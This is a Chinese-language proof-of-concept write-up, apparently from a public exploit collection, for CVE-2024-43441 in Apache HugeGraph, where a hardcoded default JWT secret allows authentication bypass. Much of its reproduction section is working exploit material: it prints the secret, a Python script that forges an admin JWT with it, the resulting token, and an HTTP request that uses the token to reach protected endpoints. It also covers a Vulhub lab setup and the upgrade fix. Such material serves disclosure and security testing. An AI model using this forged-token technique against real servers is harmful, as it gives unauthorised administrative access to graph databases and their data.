Awesome-POC/数据库漏洞/Apache HugeGraph JWT Token 密钥硬编码漏洞 CVE-2024-43441.md
2025-02-17 17:58:48 +08:00

90 lines
3.1 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Apache HugeGraph JWT Token 密钥硬编码漏洞 CVE-2024-43441
## 漏洞描述
Apache HugeGraph 是一款快速、高度可扩展的图数据库。它提供了完整的图数据库功能,具有出色的性能和企业级的可靠性。
Apache HugeGraph 存在一个 JWT token 密钥硬编码漏洞。当启用了认证但未配置 auth.token_secret 时HugeGraph 将使用一个硬编码的默认 JWT 密钥,其值为 FXQXbJtbCLxODc6tGci732pkH1cyf8Qg。攻击者可以使用这个默认密钥生成有效的 JWT token从而绕过认证执行未经授权的操作。
参考链接:
- https://github.com/advisories/GHSA-f697-gm3h-xrf9
- https://github.com/apache/incubator-hugegraph/commit/03b40a52446218c83e98cb43020e0593a744a246
## 漏洞影响
```
1.0.0 <= HugeGraph < 1.5.0
```
## 环境搭建
Vulhub 执行如下命令启动 Apache HugeGraph 1.3.0 服务器:
```
docker compose up -d
```
服务启动后,可以通过 `http://your-ip:8080` 访问 HugeGraph 的 RESTful API。
![](images/Apache%20HugeGraph%20JWT%20Token%20密钥硬编码漏洞%20CVE-2024-43441/image-20250217172418414.png)
默认情况下Apache HugeGraph 支持两种认证模式HTTP 基础认证和 JWT 认证。当启动 docker 容器时,系统会使用环境变量 PASSWORD 中指定的值作为默认管理员的密码。在正常情况下,您可以使用用户名 "admin" 和该密码通过 HTTP 基础认证访问 API。
如果您尝试在不提供任何认证头的情况下访问 API将会收到如下错误
```json
{
"exception": "class jakarta.ws.rs.NotAuthorizedException",
"message": "Authentication credentials are required",
"cause": ""
}
```
![](images/Apache%20HugeGraph%20JWT%20Token%20密钥硬编码漏洞%20CVE-2024-43441/image-20250217173427144.png)
## 漏洞复现
除了默认管理员密码外,我们还可以使用默认 JWT 密钥生成有效的 JWT token 绕过认证。
生成一个使用默认密钥的 JWT token
```python
# 安装 jwt 库,运行 `pip install pyjwt`
import jwt
# 使用默认密钥生成 JWT token
token = jwt.encode(
{
"user_name": "admin",
"user_id": "-30:admin",
"exp": 9739523483
},
"FXQXbJtbCLxODc6tGci732pkH1cyf8Qg",
algorithm="HS256"
)
print(f"Generated JWT token: {token}")
# Output:
# Generated JWT token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjk3Mzk1MjM0ODN9.eZxB0qIsVEtRuOMwXbOhENwS-OoY0miStHOQlBdJXt8
```
使用生成的 JWT token 访问受保护的端点:
```
GET / HTTP/1.1
Host: your-ip:8080
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjk3Mzk1MjM0ODN9.eZxB0qIsVEtRuOMwXbOhENwS-OoY0miStHOQlBdJXt8
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: */*
```
![](images/Apache%20HugeGraph%20JWT%20Token%20密钥硬编码漏洞%20CVE-2024-43441/image-20250217175511416.png)
也可以通过 [jwt.io](https://jwt.io/) 等工具生成 JWT token
![](images/Apache%20HugeGraph%20JWT%20Token%20密钥硬编码漏洞%20CVE-2024-43441/image-20250217173634634.png)
## 漏洞修复
升级 Apache HugeGraph-Server 至 1.5.0 及以上版本。